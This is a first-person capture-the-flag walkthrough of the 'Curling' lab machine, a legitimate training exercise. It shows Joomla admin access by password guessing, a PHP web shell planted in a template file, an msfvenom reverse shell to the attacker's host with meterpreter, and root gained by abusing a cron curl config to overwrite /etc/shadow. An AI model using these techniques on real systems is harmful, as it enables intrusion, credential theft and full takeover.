I start by modifying my /etc/hosts
file to avoid writing the IP everytime :
10.10.10.150 curling
Then I look for open ports with nmap and start an OpenVAS scan:
nmap -p- curling -Pn
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Now I can start nmap scripts on the open ports to gather more information:
nmap -p80,22 -A -Pn curling
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Accessing http://10.10.10.150 shows us a curling blog page. The web page has a login form with options for a forgotten username or password. The password reset and forgotten username forms are both vulnerable to user enumeration.
The website has a search functionality which is not available on the home page but appears when a page is not found.
From the nmap scan we know that the blog was generated with the Joomla! CMS. From experience, I know that Joomla has an administrator page available at http://10.10.10.150/administrator/ which is still valid in this case.
To retrieve the Joomla! version I use the auxiliary scanner/http/joomla_version
in metasploit. The version is 3.8.8.
At this stage, my OpenVAS scan was just finished and listed several vulnerabilities.
Here I am only listing the high severity vulnerabilities:
CVE | Description | Severity |
---|---|---|
CVE-2018-15880, CVE-2018-15882 | Joomla! < 3.8.12 Multiple Vulnerabilities | High |
CVE-2019-7739, CVE-2019-7740, CVE-2019-7741, CVE-2019-7742, CVE-2019-7743, CVE-2019-7744 | Joomla! < 3.9.3 Multiple Vulnerabilities | High |
At this point I am certain that I have to do a quick exploit with metasploit.
So I start the program a do a search for "joomla" with search joomla
.
This search produces 17 results. I try the most obvious ones but most of them are not valid for the version 3.8.8.
In the end I try them all but nothing works.
I then try to brute force the administration panel, without success. I use the down time during the brute force to read the posts and then I notice two things:
Yes curling2018, without a space between curling and 2018. Sure looks like a password to me... So I get back to the admin panel and try several variations of this password: curling2018, Curling2018, curling2018!. I do this with the usernames "floris", "Floris", and "admin". The right combination turns out to be "Floris" and "Curling2018!".
I found out later on that the comments in the page source indicated that a file secret.txt
existed. This file contained the password in base64 🤷
I now have access to the control panel and I start looking around starting with the system information tab:
Setting | Value |
---|---|
PHP Built On | Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 |
Database Type | mysql |
Database Version | 5.7.22-0ubuntu18.04.1 |
Database Collation | utf8_general_ci |
Database Connection Collation | utf8mb4_general_ci |
PHP Version | 7.2.5-0ubuntu0.18.04.1 |
Web Server | Apache/2.4.29 (Ubuntu) |
WebServer to PHP Interface | apache2handler |
Joomla! Version | Joomla! 3.8.8 Stable [ Amani ] 22-May-2018 14:00 GMT |
Joomla! Platform Version | Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT |
User Agent | Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 |
The first thing I attempt is an upload of some php files in Content > Media > Upload but none of my payloads were accepted. I then modify the upload options to make them more permissive (I am the administrator after all) but the operation does not affect my exploit attempts.
Finally after digging a bit more I end up in Extensions > Templates. There I choose the default template and modify the file error.php
to insert a simple php shell:
<?php echo "Shell";system($_GET['cmd']); ?>
I save my update and now when I visit a page that doesn't exist, my shell is triggered.
For instance if I visit http://10.10.10.150/index.php/j?cmd=ls
I get:
ShellLICENSE.txt README.txt administrator bin cache cli components configuration.php htaccess.txt images includes index.php language layouts libraries media modules plugins robots.txt.dist secret.txt templates tmp web.config.txt
I know that I can have a simple shell but I'd like a fancier one now.
I generate a new php shell with msfvenom
:
msfvenom -p php/reverse_php LHOST=10.10.14.9 LPORT=4444 -f raw > shell.php
Then I replace the contents of error.php
by the contents of the newly generated file.
In metasploit:
use exploit/multi/handler
set payload php/reverse_php
Finally I start the exploit in msfconsole with exploit -j
and trigger an error on the Joomla site.
msf6 exploit(multi/handler) > [*] Started reverse TCP handler on 10.10.14.9:4444
[*] Command shell session 5 opened (10.10.14.9:4444 -> 10.10.10.150:48754) at 2021-03-02 15:21:53 +0100
msf6 exploit(multi/handler) > sessions 5
[*] Starting interaction with 5...
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This shell is good enough, but I want it to be even better! To do so I will upgrade it to a full meterpreter shell in three simple steps:
background
.sessions -l
, for instance, the session id is 9.sessions -u 9
to upgrade session 9 to a new meterpreter shell:msf6 exploit(multi/handler) > sessions -u 9
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [9]
[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 9
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.9:4433
[*] Sending stage (976712 bytes) to 10.10.10.150
[*] Meterpreter session 10 opened (10.10.14.9:4433 -> 10.10.10.150:55348) at 2021-03-02 15:41:13 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
This generate a new session numbered 10 that I can select with sessions 10
.
I now have a fancy shell.
Right now I have a shell as the user www-data. I would like to be root, or at least the user floris. The home of the user floris contains a file named password_backup. I use my fancy shell to download this file and study it on my local machine:
meterpreter > download /home/floris/password_backup
[*] Downloading: /home/floris/password_backup -> password_backup
[*] Downloaded 1.05 KiB of 1.05 KiB (100.0%): /home/floris/password_backup -> password_backup
[*] download : /home/floris/password_backup -> password_backup
The first thing I notice when I look at this file is the presence of what looks like a magic header for BZip2 (BZh
):
cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
A quick check on wikipedia confirms my suspicions. At this step I was so stuck on trying to extract the files with bzip2
and failing that I didn't realize that I was looking at the result of a cat
command and not a xxd
.
So before anything, it is necessary to reconstruct the original archive. The command to do that is xxd -r
:
mv password_backup password_backup.hex # just making the names clearer
xxd -r password_backup.hex > password_backup.bz2
The new file extracted is named password_backup
:
xxd password_backup
00000000: 1f8b 0808 846c 045b 0003 7061 7373 776f .....l.[..passwo
00000010: 7264 0001 8d00 72ff 425a 6839 3141 5926 rd....r.BZh91AY&
00000020: 5359 36c7 8d84 0000 7f7f 84ca 1080 4040 SY6...........@@
00000030: 217f 8408 0004 5074 44de c400 0080 0820 !.....PtD......
00000040: 0074 2264 ca68 0000 6803 4f50 4953 4000 .t"d.h..h.OPIS@.
00000050: 0000 00fb 9236 9884 0f38 0245 543e 5040 .....6...8.ET>P@
00000060: e923 4920 62d5 837c 33ad 9c78 1688 c8c6 .#I b..|3..x....
00000070: f302 cb13 b696 b8da 282a 4e8d 260e 8c48 ........(*N.&..H
00000080: aff3 6b1f 0f15 31e9 c114 0378 151c b5ff ..k...1....x....
00000090: 2289 7bf2 a9e0 b3b1 8c00 fc5d c914 e142 ".{........]...B
000000a0: 40db 1e36 100e 9a6d ae8d 0000 00 @..6...m.....
1f8b
is a magic byte for the GZIP format, so I now how to extract this:
mv password_backup password_backup.gz
gunzip password_backup.gz
This uncovers a BZip2 file, with no magic byte. However the file
utility shows us that this is just a tar archive:
file password_backup
password_backup: POSIX tar archive (GNU)
I untar the file with tar -cf password_backup
and retrieve a file password.txt
.
I now have what appears to be the password of the user floris, but commands like sudo su
, or su
are not working (probably because my shell is not so great after all).
At this point I am kind of stuck, but after taking a step back and reviewing all the data at my disposal, I remember that the ssh port is opened.
ssh floris@curling
The above command works if I give it the password I just found.
Now that I have successfully impersonated floris, I would like to get root. This user does not have sudo rights:
floris@curling:~$ sudo vim
[sudo] password for floris:
floris is not in the sudoers file. This incident will be reported.
I look around and one thing really stands out: one of the folder in the home directory is named admin_area
which contains two files (input and report), and this folder was created by root.
drwxr-x--- 2 root floris 4096 May 22 2018 admin-area
At this point I was also stuck. First I wanted to determine which process was responsible for creating the files input
and report
. I tried a bunch of ps
and lsof
commands to find it.
Then I thought I might as well just try a privilege escalation directly. And while searching for some privilege escalation tools I finally stumbled on the pspy utility thanks to the awesome privilege escalation list.
This utility lets me retrieve information about running processes even if I am a regular user. After downloading and running the utility on the server here is what I saw:
2021/03/02 16:28:01 CMD: UID=0 PID=6392 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
2021/03/02 16:28:01 CMD: UID=0 PID=6391 | sleep 1
2021/03/02 16:28:01 CMD: UID=0 PID=6390 | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
2021/03/02 16:28:01 CMD: UID=0 PID=6389 | /usr/sbin/CRON -f
2021/03/02 16:28:01 CMD: UID=0 PID=6388 | /usr/sbin/CRON -f
2021/03/02 16:28:01 CMD: UID=0 PID=6393 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
Apparently, there is a process that uses curl to download a file regularly.
/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
It downloads a web page with curl and puts it in the report
file. Which page? The one defined in the input
file. Here is the relevant info from the curl man page:
-K, --config <file> Read config from a file
Our file input
looks like this:
url = "http://127.0.0.1"
So what if I create test.txt
, a simple file containing "Hello World", and change the configuration file to:
url = "file:///home/floris/test.txt
In this case, after a minute, a new file report
is created with the contents of test.txt
.
Alright, I just managed to create a file as root, I can actually do better and create a file in an arbitrary location as root thanks to the option output
:
url = "file:///home/floris/test.txt
output = "/etc/test.txt"
My idea to get root access is to change the root user password in /etc/shadow
and then connect as root with ssh or su
.
The configuration for the user floris is like so
floris:$6$yl7KKyGaOhVExlCb$ONJceChbI7srpLlJ/AhCLgESU7E4gXexPVgsJMjvQ0hP.6fwslfwWmD15cuaYs9./Jin4e/4LURPgEBav4iv//:17673:0:99999:7:::
$6$
indicates that the SHA-512 algorithm is used.$yl7KKyGaOhVExlCb$
is the saltTo regenerate this line I can use the utility mkpasswd
. I give floris's password in stdin after executing the command and the I get the same result:
mkpasswd --method=SHA-512 --salt yl7KKyGaOhVExlCb --stdin
$6$yl7KKyGaOhVExlCb$ONJceChbI7srpLlJ/AhCLgESU7E4gXexPVgsJMjvQ0hP.6fwslfwWmD15cuaYs9./Jin4e/4LURPgEBav4iv//
Now I craft the root password, in this case "letmein":
mkpasswd --method=SHA-512 --salt RIgrVboA --stdin
Password: letmein
$6$RIgrVboA$potjmpCTY5IKHkIJx9LX36G212zQV6RldIblGjSqBgTIfoHhsV9B4A1sNrgn/AQGb19I4ITpPiAL.kAFZdiPo/
The final configuration line is:
root:$6$RIgrVboA$potjmpCTY5IKHkIJx9LX36G212zQV6RldIblGjSqBgTIfoHhsV9B4A1sNrgn/AQGb19I4ITpPiAL.kAFZdiPo/:17673:0:99999:7:::
To retrieve and edit /etc/shadow
I just used the same trick of modifying the input
file.
I wait for a while then run su - root
with the password letmein and I'm in!
The only thing left for me to do is to get the flag.